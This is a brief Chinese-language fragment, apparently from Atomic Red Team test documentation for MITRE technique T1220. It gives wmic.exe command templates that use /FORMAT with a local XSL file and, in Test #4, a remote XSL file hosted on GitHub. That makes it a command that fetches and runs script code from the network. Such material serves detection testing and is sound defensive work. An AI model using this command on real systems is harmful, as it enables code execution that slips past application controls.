wmic.exe＃{wmic_command} / FORMAT：＃{local_xsl_file}

Atomic Test＃4 - 使用远程 XSL 文件绕过 WMIC

使用远程有效内容执行 XSL 脚本中指定的代码。

wmic_command process list
remote_xsl_file XSL https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl

wmic.exe＃{wmic_command} / FORMAT：＃{remote_xsl_file}